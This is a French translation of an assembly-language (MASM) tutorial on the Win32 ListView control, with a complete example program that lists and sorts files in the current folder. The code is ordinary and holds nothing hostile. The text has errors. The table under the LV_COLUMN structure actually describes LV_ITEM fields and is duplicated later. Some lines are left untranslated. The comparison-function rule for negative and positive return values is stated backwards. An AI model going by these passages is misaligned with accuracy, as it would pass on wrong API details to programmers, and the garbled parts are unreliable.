Vous pouvez créer un listview control de deux façons. La première méthode est aussi la plus simple : créez-le avec un éditeur de ressource. Simplement, n'oubliez pas ensuite d'appeler InitCommonControls dans votre code asm source. L'autre méthode c'est d'appeler CreateWindowEx dans votre code source. Vous devez spécifier le nom de la 'Window Class' (classe de fenêtre) correcte de ce control, c'est-à-dire SysListView32. La 'Window Class' "WC_LISTVIEW" n'est pas correcte.
Il y a quatre types de vues des données, dans un listview control : une vue sous forme d'icônes, de petites icônes, sous forme de texte inscrit et des vues sous forme de détails. Vous pouvez voir les exemples de ces vues en choisissant Affichage->Grandes icônes (la vue d'icônes), Affichage->Petites icônes (la vue en petites icônes), Affichage-> Liste (la vue de la liste) et Affichage-> Détails (la vue sous forme de détails). Ces vues sont juste une méthode de représentation des données : Elles affectent seulement la présentation des données. Par exemple, vous pouvez avoir beaucoup de données dans un listview control, mais si vous préférez, vous pouvez voir certaines d'entre elles. La vue détail est la plus informative alors que les vues restantes donnent moins de renseignements. Vous pouvez spécifier la vue que vous voulez quand vous créez un listview control. Vous pourrez même changer de vue plus tard en appelant SetWindowLong, en spécifiant flag GWL_STYLE.

Maintenant que nous savons comment créer un listview control, nous continuerons pour voir comment on peut l'employer. Je me concentrerai de la vue sous forme de détails qui fait appelle à pas mal des particularités du listview control. Les étapes dans l'utilisation d'un listview control sont les suivantes :

  1. Créez le listview control avec CreateWindowEx, et indiquez SysListView32 comme class name. Vous pouvez spécifier la vue initiale à ce niveau là.
  2. (Si elles existes) Créez et initialisez des listes d'images (Tutorial 19) pour les associer aux noms des fichiers du listview.
  3. Insérez des colonnes dans listview control. Cette étapes est nécessaire si votre listview control emploie la vue 'détails'. Explication : revenez sous l'Explorateur Windows et mettez vous en vue 'détails'. Vous voyez bien qu'il y a plusieurs colonnes, une pour le nom des fichiers, une autre pour leur date de création, une pour leur emplacement sur votre Ddur.
  4. Insérez des items et des sous-items dans votre listview control. ex: Nom, Taille ,Type ,Modifier...

Colonnes

Dans la vue 'détails', il y a une ou plusieurs colonnes. Ces données qui sont mises dans différentes colonnes (en vue détails), représentes en fait un tableau de données : les données sont arrangées dans des rangées et des colonnes. Vous devez avoir au moins une colonne dans votre listview control (uniquement vrai pour la vue 'détails'). Pour les autres vues, vous n'avez pas besoin d'insérer de colonne parce qu'il nous faut une et seulement une seule colonne pour ces vues là.
Vous pouvez insérer une colonne en envoyant LVM_INSERTCOLUMN au listview control.

LVM_INSERTCOLUMN
wParam = iCol (nombre de colonnes)
lParam = pointe sur la structure LV_COLUMN

iCol est le nombre de colonnes, en partant de 0.
LV_COLUMN contient l'information sur la colonne qui doit être insérée. Voici sa définition :

LV_COLUMN STRUCT
imask dd ?
fmt dd ?
lx dd ?
pszText dd ?
cchTextMax dd ?
iSubItem dd ?
iImage dd ?
iOrder dd ?
LV_COLUMN ENDS

Nom | Significations
imask | Est un groupe de flags indiquant que les membres dans cette structure sont valides pour cet appel. En général, ce paramètre est semblable au membre imask de la structure LV_COLUMN vue plus haut. Référez vous à votre 'référence win32 api' pour plus de détail à propos des différents flags disponibles.
iItem | Est l'index de l'item auquel cette structure se réfère. L'index de base est zéro. Vous pouvez vous représenter ce paramètre comme le numéro de la "rangée" d'un tableau.
iSubItem | Est l'index du sous-item associé à l'item indiqué par iItem ci-dessus. Vous pouvez vous représenter ce paramètre comme étant le numéro de la "colonne" d'un tableau. Par exemple, si vous souhaitez insérer un item dans un tout nouveau 'listview control' juste créé, la valeur à mettre dans iItem serait 0 (parce que cet item est le premier) et la valeur dans iSubItem serait aussi 0 (car nous voulons insérer cet item dans la première colonne). Si vous souhaitez associer un sous-item à cet item, alors le iItem représenterait l'index de l'item avec lequel vous voulez l'associer (dans cet exemple, c'est 0). Le iSubItem ne pourrait être que 1 ou plus que 1, suivant la colonne où vous voulez insérer ce sous-item. Par exemple, si votre listview control a 4 colonnes, la première colonne contiendra tous les Items. Les 3 colonnes restantes sont utilisées par les sous-items. Si vous voulez insérer un sous-item dans la 4ème colonne, vous devez mettre valeur 3 dans iSubItem.
state | Ce membre contient les flags qui reflètent l'état de l'item. L'état de l'item peut changer à cause des actions de l'utilisateur, ou bien il peut être modifié par notre programme lui-même. The state includes whether the item has the focus/is hilited/is selected for cut operation/is selected. In addition to the state flags, It can also contains one-based index into the overlay image/state image for use by the item.
stateMask | Puisque le membre 'state' ci-dessus peut contenir les flags qui définissent l'état de nos items, nous avons besoin de dire à Windows quelle valeur nous souhaitons mettre (ou remplacer si on a déjà définit son état). La valeur de ce paramètre sert à ça.
pszText | Est l'adresse de la chaîne de caractère qui sera utilisée en tant que titre pour votre item dans le cas où vous souhaitez mettre ou insérer un item. Si nous nous servons de cette structure pour récupérer la propriété d'un item donné, ce membre doit contenir l'adresse du buffer qui sera rempli avec le titre de cet item.
cchTextMax | Ce paramètre est uniquement utilisé lorsque vous employez cette structure pour recevoir des renseignements à propos de l'item. Dans ce cas, ce paramètre contient la taille en octets du buffer indiqué dans pszText, vu ci-dessus.
iImage | Est l'index d'une icône contenue dans l'imagelist. Cet index indique quelle icône doit être employé et associée avec votre item.
lParam | C'est une valeur définie par l'utilisateur, laquelle sera réutilisée lorsque vous trierez les Items de votre listview control. Bref, lorsque vous direz au listview control de trier vos Items, celui-ci comparera les Items deux par deux. Il vous renverra les valeurs des lParam des deux Items, et vous pourrez ainsi décider lequel des deux doit être inscrit en premier. Si vous êtes encore un peu dans le coaltar avec ça, ne vous inquiéter pas. Vous en apprendrez plus tard, bien plus du triage.

Ainsi après que le listview control est été créé, vous devez y insérer une ou plusieurs colonnes. Les colonnes ne sont pas nécessaires si vous ne projetez pas de faire fonctionner le listview control en vue 'détails'. Pour insérer une colonne, vous avez besoin de créer la structure LV_COLUMN, la remplir de l'information nécessaire, et indiquer le nombre de colonnes puis envoyer ensuite cette structure au listview control avec LVM_INSERTCOLUMN message.

   LOCAL lvc:LV_COLUMN
   mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
   mov lvc.pszText,offset Heading1
   mov lvc.lx,150
   invoke SendMessage,hList, LVM_INSERTCOLUMN,0,addr lvc

Ce petit bout de code vous montre comment faire. Il détermine le texte d'en-tête de la colonne ainsi que sa largeur à envoyer au listview control, grâce au message LVM_INSERTCOLUMN. C'est aussi simple que ça.

Items et sous-items

Les items sont les principales éléments dans un listview control. Dans les vues autres, que la vue 'détails', vous ne verrez que les items. Les sous-items sont les détails des items. Un unique item peut avoir un ou plus sous-items associés. Par exemple, si l'item est le nom d'un fichier, alors vous pouvez regarder (en tant que sous-items) ses attributs de fichier comme, sa taille, ou sa date de création. Dans la vue 'détails', la colonne extrême gauche contient les items et les colonnes restantes contiennent les sous-items. Vous pouvez vous représenter les items et leurs sous-items un peu comme une base de données. L'item est la clef principale du tableau alors que les sous-items sont ses éléments de description dans ce même tableau.
Au minimum, il y aura quelques Items dans votre listview control : les sous-items ne sont pas nécessaires. Cependant, si vous voulez présenter plus d'informations à l'utilisateur à propos de ces Items, vous devrez leurs associer leurs sous-items respectifs. De cette façon, l'utilisateur pourra voir les détails dans la vue 'détails'.
On insère un item dans le listview control en envoyant le message LVM_INSERTITEM. Vous avez aussi besoin de lui passer l'adresse de la structure LV_ITEM dans lParam. LV_ITEM a la définition suivante :

LV_ITEM STRUCT
  imask dd ?
  iItem dd ?
  iSubItem dd ?
  state dd ?
  stateMask dd ?
  pszText dd ?
  cchTextMax dd ?
  iImage dd ?
  lParam dd ?
  iIndent dd ?
LV_ITEM ENDS

Nom | Significations
imask | Est un groupe de flags indiquant que les membres dans cette structure sont valides pour cet appel. En général, ce paramètre est semblable au membre imask de la structure LV_COLUMN vue plus haut. Référez vous à votre 'référence win32 api' pour plus de détail à propos des différents flags disponibles.
iItem | Est l'index de l'item auquel cette structure se réfère. L'index de base est zéro. Vous pouvez vous représenter ce paramètre comme le numéro de la "rangée" d'un tableau.
iSubItem | Est l'index du sous-item associé à l'item indiqué par iItem ci-dessus. Vous pouvez vous représenter ce paramètre comme étant le numéro de la "colonne" d'un tableau. Par exemple, si vous souhaitez insérer un item dans un tout nouveau 'listview control' juste créé, la valeur à mettre dans iItem serait 0 (parce que cet item est le premier) et la valeur dans iSubItem serait aussi 0 (car nous voulons insérer cet item dans la première colonne). Si vous souhaitez associer un sous-item à cet item, alors le iItem représenterait l'index de l'item avec lequel vous voulez l'associer (dans cet exemple, c'est 0). Le iSubItem ne pourrait être que 1 ou plus que 1, suivant la colonne où vous voulez insérer ce sous-item. Par exemple, si votre listview control a 4 colonnes, la première colonne contiendra tous les Items. Les 3 colonnes restantes sont utilisées par les sous-items. Si vous voulez insérer un sous-item dans la 4ème colonne, vous devez mettre valeur 3 dans iSubItem.
state | Ce membre contient les flags qui reflètent l'état de l'item. L'état de l'item peut changer à cause des actions de l'utilisateur, ou bien il peut être modifié par notre programme lui-même. The state includes whether the item has the focus/is hilited/is selected for cut operation/is selected. In addition to the state flags, It can also contains one-based index into the overlay image/state image for use by the item.
stateMask | Puisque le membre 'state' ci-dessus peut contenir les flags qui définissent l'état de nos items, nous avons besoin de dire à Windows quelle valeur nous souhaitons mettre (ou remplacer si on a déjà définit son état). La valeur de ce paramètre sert à ça.
pszText | Est l'adresse de la chaîne de caractère qui sera utilisée en tant que titre pour votre item dans le cas où vous souhaitez mettre ou insérer un item. Si nous nous servons de cette structure pour récupérer la propriété d'un item donné, ce membre doit contenir l'adresse du buffer qui sera rempli avec le titre de cet item.
cchTextMax | Ce paramètre est uniquement utilisé lorsque vous employez cette structure pour recevoir des renseignements à propos de l'item. Dans ce cas, ce paramètre contient la taille en octets du buffer indiqué dans pszText, vu ci-dessus.
iImage | Est l'index d'une icône contenue dans l'imagelist. Cet index indique quelle icône doit être employé et associée avec votre item.
lParam | C'est une valeur définie par l'utilisateur, laquelle sera réutilisée lorsque vous trierez les Items de votre listview control. Bref, lorsque vous direz au listview control de trier vos Items, celui-ci comparera les Items deux par deux. Il vous renverra les valeurs des lParam des deux Items, et vous pourrez ainsi décider lequel des deux doit être inscrit en premier. Si vous êtes encore un peu dans le coaltar avec ça, ne vous inquiéter pas. Vous en apprendrez plus tard, bien plus du triage.

On va récapituler les étapes clef pour l'ajout d'un item ou sous-item dans le listview control.

  1. Créez une variable de type la structure LV_item
  2. Remplissez-la des informations nécessaires
  3. Envoyez le message LVM_INSERTITEM au listview control si vous voulez insérer un item. Ou si vous voulez *insert* un sous-item, envoyez LVM_SETITEM a la place. Ce sera plutôt le bordel si vous ne comprenez pas le rapport entre un item et ses sous-items. Les Sous-items représentent un peu les propriétés de l'item . Ainsi vous pouvez insérer des items, mais pas des sous-items et vous ne pouvez pas avoir un sous-item sans avoir un item qui lui soit associé. C'est pourquoi pour ajouter un sous-item vous avez besoin d'envoyer le message LVM_SETITEM au lieu de LVM_INSERTITEM.

Messages d'ordres et messages de réponses dans le ListView

Maintenant que vous savez comment créer et remplir un ListView control, l'étape suivante c'est de communiquer avec lui. Le ListView control communique avec la fenêtre parente grâce à des messages et des avis. La fenêtre parente peut commander le ListView control en lui envoyant des messages. En retour, le ListView control fait le contraire, il informe sa fenêtre parente des événements importants ou intéressants grâce à WM_NOTIFY, comme les autres 'common controls'.

Classer les items/sous-items

Vous pouvez spécifier le type de triage par défaut dans le listview control en indiquant les types de tris LVS_SORTASCENDING ou bien LVS_SORTDESCENDING dans CreateWindowEx. Ces deux types classent les Items d'après leurs noms uniquement. Si vous voulez les classer selon un autre critère, vous devez mettre le message LVM_SORTITEMS à l'intention du listview control.

LVM_SORTITEMS
wParam = lParamSort
lParam = pCompareFunction

lParamSort est une valeur définie par l'utilisateur laquelle on passera à la fonction de comparaison. Vous pouvez employer cette valeur de n'importe quelle façon, c'est à vous de voir.
pCompareFunction est l'adresse de la fonction(type de tri) que l'utilisateur à défini pour son listview control. Cette fonction a le prototype suivant :

CompareFunc proto lParam1:DWORD, lParam2:DWORD, lParamSort:DWORD

lParam1 et lParam2 sont les valeurs dans le membre de lParam de LV_item Lequel vous avez défini lorsque vous avez inséré vos Items dans le listview control.
lParamSort est la valeur de wParam que vous avez envoyée avec LVM_SORTITEMS

Quand le listview control reçoit le message LVM_SORTITEMS, il fait appel à la fonction de tri (ou de comparaison) indiquée par lParam, ainsi il nous retourne le résultat de la comparaison entre deux items. Bref, la fonction de comparaison servira à savoir lequel de deux items lui ayant été envoyé sera placé en premier par rapport à l'autre. La règle est simple : si la fonction renvoie une valeur négative, premier item (représenté par lParam1) doit être placé après l'autre. Si la fonction renvoie une valeur positive, cet item doit être placé en premier. Si les deux items sont égaux, un NULL sera renvoyé.

Ce qui fait que cette méthode fonctionne, c'est la valeur de lParam qui se trouve dans la structure LV_item. Si vous avez besoin de trier des Items (comme lorsque l'utilisateur clique sur l'en-tête d'une colonne, essayez ça marche !), vous avez besoin d'imaginer une méthode de tri qui se servira des valeurs dans le membre lParam (IParam1 et IParam2). Dans cet exemple, j'ai mis l'index de l'item dans ce paramètre donc je peux obtenir d'autres informations à propos de ces items en envoyant le message LVM_GETITEM. Remarquez que lorsque les Items sont réarrangés, leurs index changent aussi . De cette façon, quand le tri est fini dans mon exemple, j'ai encore besoin de remettre à jour les valeurs dans lParam pour retrouver les nouveaux index. Si vous voulez trier les Items lorsque l'utilisateur clique sur l'en-tête d'une colonne, vous avez besoin de traiter le message d'avis LVN_COLUMNCLICK dans votre procédure de fenêtre. On passe LVN_COLUMNCLICK à votre proc de fenêtre grâce au message WM_NOTIFY.

Exemple:

Cet exemple crée un 'listview control' et le remplit avec les noms et les tailles des fichiers du dossier actuel où vous êtes. La vue par défaut sera la vue 'détails'. Dans la vue 'détails', vous pouvez cliquer sur les en-têtes de colonne et les Items seront classés par ordre croissant/décroissant (soit par nom, soit par taille). Vous pouvez choisir la vue que vous souhaitez grâce au menu. Quand vous double cliquez sur un item, une boîte de message affichera le nom de l'item que vous venez de sélectionner.

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

IDM_MAINMENU equ 10000
IDM_ICON equ LVS_ICON
IDM_SMALLICON equ LVS_SMALLICON
IDM_LIST equ LVS_LIST
IDM_REPORT equ LVS_REPORT

RGB macro red,green,blue
  xor eax,eax
  mov ah,blue
  shl eax,8
  mov ah,green
  mov al,red
endm

.data
ClassName db "ListViewWinClass",0
AppName db "Testing a ListView Control",0
ListViewClassName db "SysListView32",0
Heading1 db "Filename",0
Heading2 db "Size",0
FileNamePattern db "*.*",0
FileNameSortOrder dd 0
SizeSortOrder dd 0
template db "%lu",0

.data?
hInstance HINSTANCE ?
hList dd ?
hMenu dd ?

.code
start:
  invoke GetModuleHandle, NULL
  mov hInstance,eax
  invoke WinMain, hInstance,NULL, NULL, SW_SHOWDEFAULT
  invoke ExitProcess,eax
  invoke InitCommonControls
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
  LOCAL wc:WNDCLASSEX
  LOCAL msg:MSG
  LOCAL hwnd:HWND

  mov wc.cbSize,SIZEOF WNDCLASSEX
  mov wc.style, NULL
  mov wc.lpfnWndProc, OFFSET WndProc
  mov wc.cbClsExtra,NULL
  mov wc.cbWndExtra,NULL
  push hInstance
  pop wc.hInstance
  mov wc.hbrBackground,COLOR_WINDOW+1
  mov wc.lpszMenuName,IDM_MAINMENU
  mov wc.lpszClassName,OFFSET ClassName
  invoke LoadIcon,NULL,IDI_APPLICATION
  mov wc.hIcon,eax
  mov wc.hIconSm,eax
  invoke LoadCursor,NULL,IDC_ARROW
  mov wc.hCursor,eax
  invoke RegisterClassEx, addr wc
  invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName, WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hInst,NULL
  mov hwnd,eax
  invoke ShowWindow, hwnd,SW_SHOWNORMAL
  invoke UpdateWindow, hwnd
  .while TRUE
    invoke GetMessage, ADDR msg,NULL,0,0
    .break .if (!eax)
      invoke TranslateMessage, ADDR msg
      invoke DispatchMessage, ADDR msg
  .endw
  mov eax,msg.wParam
  ret
WinMain endp

InsertColumn proc
  LOCAL lvc:LV_COLUMN

  mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
  mov lvc.pszText,offset Heading1
  mov lvc.lx,150
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc
  or lvc.imask,LVCF_FMT
  mov lvc.fmt,LVCFMT_RIGHT
  mov lvc.pszText,offset Heading2
  mov lvc.lx,100
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc
  ret
InsertColumn endp

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
  LOCAL lvi:LV_ITEM
  LOCAL buffer[20]:BYTE
  mov edi,lpFind
  assume edi:ptr WIN32_FIND_DATA
  mov lvi.imask,LVIF_TEXT+LVIF_PARAM
  push row
  pop lvi.iItem
  mov lvi.iSubItem,0
  lea eax,[edi].cFileName
  mov lvi.pszText,eax
  push row
  pop lvi.lParam
  invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi
  mov lvi.imask,LVIF_TEXT
  inc lvi.iSubItem
  invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
  lea eax,buffer
  mov lvi.pszText,eax
  invoke SendMessage,hList,LVM_SETITEM, 0,addr lvi
  assume edi:nothing
  ret
ShowFileInfo endp

FillFileInfo proc uses edi
  LOCAL finddata:WIN32_FIND_DATA
  LOCAL FHandle:DWORD

  invoke FindFirstFile,addr FileNamePattern,addr finddata
  .if eax!=INVALID_HANDLE_VALUE
    mov FHandle,eax
    xor edi,edi
    .while eax!=0
      test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
      .if ZERO?
         invoke ShowFileInfo,edi, addr finddata
         inc edi
      .endif
      invoke FindNextFile,FHandle,addr finddata
    .endw
    invoke FindClose,FHandle
  .endif
  ret
FillFileInfo endp

String2Dword proc uses ecx edi edx esi String:DWORD
  LOCAL Result:DWORD

  mov Result,0
  mov edi,String
  invoke lstrlen,String
  .while eax!=0
    xor edx,edx
    mov dl,byte ptr [edi]
    sub dl,"0"
    mov esi,eax
    dec esi
    push eax
    mov eax,edx
    push ebx
    mov ebx,10
    .while esi > 0
      mul ebx
      dec esi
    .endw
    pop ebx
    add Result,eax
    pop eax
    inc edi
    dec eax
  .endw
  mov eax,Result
  ret
String2Dword endp

CompareFunc proc uses edi lParam1:DWORD, lParam2:DWORD, SortType:DWORD
  LOCAL buffer[256]:BYTE
  LOCAL buffer1[256]:BYTE
  LOCAL lvi:LV_ITEM

  mov lvi.imask,LVIF_TEXT
  lea eax,buffer
  mov lvi.pszText,eax
  mov lvi.cchTextMax,256
  .if SortType==1
    mov lvi.iSubItem,1
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke String2Dword,addr buffer
    mov edi,eax
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke String2Dword,addr buffer
    sub edi,eax
    mov eax,edi
  .elseif SortType==2
    mov lvi.iSubItem,1
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke String2Dword,addr buffer
    mov edi,eax
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke String2Dword,addr buffer
    sub eax,edi
  .elseif SortType==3
    mov lvi.iSubItem,0
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke lstrcpy,addr buffer1,addr buffer
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke lstrcmpi,addr buffer1,addr buffer
  .else
    mov lvi.iSubItem,0
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam1,addr lvi
    invoke lstrcpy,addr buffer1,addr buffer
    invoke SendMessage,hList,LVM_GETITEMTEXT,lParam2,addr lvi
    invoke lstrcmpi,addr buffer,addr buffer1
  .endif
  ret
CompareFunc endp

UpdatelParam proc uses edi
   LOCAL lvi:LV_ITEM

   invoke SendMessage,hList, LVM_GETITEMCOUNT,0,0
   mov edi,eax
   mov lvi.imask,LVIF_PARAM
   mov lvi.iSubItem,0
   mov lvi.iItem,0
   .while edi>0
     push lvi.iItem
     pop lvi.lParam
     invoke SendMessage,hList, LVM_SETITEM,0,addr lvi
     inc lvi.iItem
     dec edi
   .endw
   ret
UpdatelParam endp

ShowCurrentFocus proc
   LOCAL lvi:LV_ITEM
   LOCAL buffer[256]:BYTE

   invoke SendMessage,hList,LVM_GETNEXTITEM,-1, LVNI_FOCUSED
   mov lvi.iItem,eax
   mov lvi.iSubItem,0
   mov lvi.imask,LVIF_TEXT
   lea eax,buffer
   mov lvi.pszText,eax
   mov lvi.cchTextMax,256
   invoke SendMessage,hList,LVM_GETITEM,0,addr lvi
   invoke MessageBox,0, addr buffer,addr AppName,MB_OK
   ret
ShowCurrentFocus endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
  .if uMsg==WM_CREATE
    invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
    mov hList, eax
    invoke InsertColumn
    invoke FillFileInfo
    RGB 255,255,255
    invoke SendMessage,hList,LVM_SETTEXTCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETBKCOLOR,0,eax
    RGB 0,0,0
    invoke SendMessage,hList,LVM_SETTEXTBKCOLOR,0,eax
    invoke GetMenu,hWnd
    mov hMenu,eax
    invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, IDM_REPORT,MF_CHECKED
  .elseif uMsg==WM_COMMAND
    .if lParam==0
      invoke GetWindowLong,hList,GWL_STYLE
      and eax,not LVS_TYPEMASK
      mov edx,wParam
      and edx,0FFFFh
      push edx
      or eax,edx
      invoke SetWindowLong,hList,GWL_STYLE,eax
      pop edx
      invoke CheckMenuRadioItem,hMenu,IDM_ICON,IDM_LIST, edx,MF_CHECKED
    .endif
  .elseif uMsg==WM_NOTIFY
    push edi
    mov edi,lParam
    assume edi:ptr NMHDR
    mov eax,[edi].hwndFrom
    .if eax==hList
      .if [edi].code==LVN_COLUMNCLICK
        assume edi:ptr NM_LISTVIEW
        .if [edi].iSubItem==1
          .if SizeSortOrder==0 || SizeSortOrder==2
            invoke SendMessage,hList,LVM_SORTITEMS,1,addr CompareFunc
            invoke UpdatelParam
            mov SizeSortOrder,1
          .else
            invoke SendMessage,hList,LVM_SORTITEMS,2,addr CompareFunc
            invoke UpdatelParam
            mov SizeSortOrder,2
          .endif
        .else
          .if FileNameSortOrder==0 || FileNameSortOrder==4
            invoke SendMessage,hList,LVM_SORTITEMS,3,addr CompareFunc
            invoke UpdatelParam
            mov FileNameSortOrder,3
          .else
            invoke SendMessage,hList,LVM_SORTITEMS,4,addr CompareFunc
            invoke UpdatelParam
            mov FileNameSortOrder,4
          .endif
        .endif
        assume edi:ptr NMHDR
      .elseif [edi].code==NM_DBLCLK
        invoke ShowCurrentFocus
      .endif
    .endif
    pop edi
  .elseif uMsg==WM_SIZE
    mov eax,lParam
    mov edx,eax
    and eax,0ffffh
    shr edx,16
    invoke MoveWindow,hList, 0, 0, eax,edx,TRUE
  .elseif uMsg==WM_DESTROY
    invoke PostQuitMessage,NULL
  .else
    invoke DefWindowProc,hWnd,uMsg,wParam,lParam
    ret
  .endif
  xor eax,eax
  ret
WndProc endp
end start

Analyse:

La première chose que le programme fait lorsque la fenêtre principale est créée, c'est de créer notre listview control.

  .if uMsg==WM_CREATE
    invoke CreateWindowEx, NULL, addr ListViewClassName, NULL, LVS_REPORT+WS_CHILD+WS_VISIBLE, 0,0,0,0,hWnd, NULL, hInstance, NULL
    mov hList, eax

On appelle CreateWindowEx, en lui passant le nom de sa window class soit : "SysListView32". La vue par défaut est la vue 'détails' définie par le style LVS_REPORT.

    invoke InsertColumn

Après que le listview control est été créé, nous y insérons des colonnes.

  LOCAL lvc:LV_COLUMN

  mov lvc.imask,LVCF_TEXT+LVCF_WIDTH
  mov lvc.pszText,offset Heading1
  mov lvc.lx,150
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 0, addr lvc

Nous initialisons le label (son nom) et la largeur de la première colonne, qui sert au stockage des noms de fichiers, dans la structure LV_COLUMN. Donc nous avons besoin de mettre les flags LVCF_TEXT et LVCF_WIDTH dans imask . On rempli pszText avec l'adresse du label et lx avec la largeur de la colonne, en pixels. Quand tout est prêt, nous envoyons le message LVM_INSERTCOLUMN au listview control, en lui passant cette structure.

  or lvc.imask,LVCF_FMT
  mov lvc.fmt,LVCFMT_RIGHT

Quand on en a fini avec l'insertion de la première colonne, nous en insérons une autre servant cette fois-ci au stockage des tailles de fichiers. Puisque nous avons besoin des tailles pour les aligner à droite dans la colonne, nous avons besoin de mettre le flag LVCFMT_RIGHT dans le membre fmt. Nous devons aussi mettre le flag LVCF_FMT dans imask, en plus de LVCF_TEXT et LVCF_WIDTH.

  mov lvc.pszText,offset Heading2
  mov lvc.lx,100
  invoke SendMessage,hList, LVM_INSERTCOLUMN, 1 ,addr lvc

Le code restant est simple. On Met l'adresse du label (du titre de la colonne) dans pszText et sa largeur dans lx. On envoie alors le message LVM_INSERTCOLUMN au listview control, en indiquant le nombre de colonnes et l'adresse de la structure.

Quand les colonnes sont insérées, nous pouvons placer les Items dans notre listview control.

    invoke FillFileInfo

FillFileInfo présente le code suivant.

FillFileInfo proc uses edi
  LOCAL finddata:WIN32_FIND_DATA
  LOCAL FHandle:DWORD

  invoke FindFirstFile,addr FileNamePattern,addr finddata

Nous appelons FindFirstFile pour obtenir l'information sur le premier fichier qui correspond à nos critères de recherche. FindFirstFile possède le prototype de fonction suivant :

FindFirstFile proto pFileName:DWORD, pWin32_Find_Data:DWORD

pFileName est l'adresse du nom du fichier qu'on chercher. Cette chaîne de caractères peut contenir des caractères de substitutions. Dans notre exemple, nous employons *.*, ce qui fait qu'on mène une recherche sur tous les fichiers du dossier actuel où on se trouve.
pWin32_Find_Data est l'adresse de la structure WIN32_FIND_DATA laquelle sera remplie de l'information du fichier (si on l'a trouvé).

Cette fonction renvoie INVALID_handle_VALUE dans eax si aucun fichier correspondant à ce que l'on cherche n'a été trouvé. Sinon l'handle de la recherche est renvoyée, lequel sera utilisé dans les appels suivant FindNextFile.

  .if eax!=INVALID_HANDLE_VALUE
    mov FHandle,eax
    xor edi,edi

Si un fichier est trouvé, on stocke l'handle de la recherche dans une variable et ensuite nous mettons edi à zéro pour pouvoir l'employé en tant qu'index pour les Items (c'est le numéro de rangée).

    .while eax!=0
      test finddata.dwFileAttributes,FILE_ATTRIBUTE_DIRECTORY
      .if ZERO?

Dans cet exemple, je ne souhaite rien toucher dans les autres dossiers, donc je les filtre en vérifiant dwFileAttributes. Comme ça, si on trouve des fichiers qui ont un flag FILE_ATTRIBUTE_DIRECTORY associés, on saute par dessus grâce à l'appel FindNextFile.

          invoke ShowFileInfo,edi, addr finddata
          inc edi
      .endif
      invoke FindNextFile,FHandle,addr finddata
    .endw

Nous insérons le nom et la taille du fichier dans le listview control en appelant la fonction ShowFileInfo. Donc on augmente le numéro de la rangée actuelle (dans edi). Finalement on continue à appeler FindNextFile pour chercher le fichier suivant dans le dossier actuel jusqu'à ce que FindNextFile retourne un 0 (Ce qui signifie qu'il n'y a plus de fichiers à chercher).

    invoke FindClose,FHandle
  .endif
  ret
FillFileInfo endp

Quand tous les fichiers dans le dossier actuel ont étés passés à la loupe, on doit refermer l'handle de la recherche.

Maintenant on va regarder la fonction ShowFileInfo. Cette fonction accepte deux paramètres, l'index de l'item (son numéro de rangée) et l'adresse de la structure WIN32_FIND_DATA.

ShowFileInfo proc uses edi row:DWORD, lpFind:DWORD
  LOCAL lvi:LV_ITEM
  LOCAL buffer[20]:BYTE
  mov edi,lpFind
  assume edi:ptr WIN32_FIND_DATA

On stocke l'adresse de la structure WIN32_FIND_DATA dans edi.

  mov lvi.imask,LVIF_TEXT+LVIF_PARAM
  push row
  pop lvi.iItem
  mov lvi.iSubItem,0

Nous donne le nom de l'item et sa valeur dans lParam donc nous mettons les flags LVIF_TEXT et LVIF_PARAM dans imask. Ensuite nous plaçons l'item dans la bonne rangée (dont on avait passé son numéro à la fonction) et puisque c'est l'item principal, on doit mettre un 0 dans iSubItem (car la première colonne, c'est la colonne 0).

  lea eax,[edi].cFileName
  mov lvi.pszText,eax
  push row
  pop lvi.lParam

Ensuite on met l'adresse de son nom, (dans ce cas), le nom du fichier dans pszText de la structure WIN32_FIND_DATA. Puisque nous effectuons un tri dans le listview control, nous devons remplir lParam avec une valeur. Je souhaite mettre le numéro de rangée dans ce membre donc je peux me servir des renseignements de l'item grâce à son index pour le retrouver.

  invoke SendMessage,hList, LVM_INSERTITEM,0, addr lvi

Lorsque tous les paramètres nécessaires dans LV_item sont remplis, on envoie le message LVM_INSERTITEM au listview control pour y insérer un item.

  mov lvi.imask,LVIF_TEXT
  inc lvi.iSubItem
  invoke wsprintf,addr buffer, addr template,[edi].nFileSizeLow
  lea eax,buffer
  mov lvi.pszText,eax

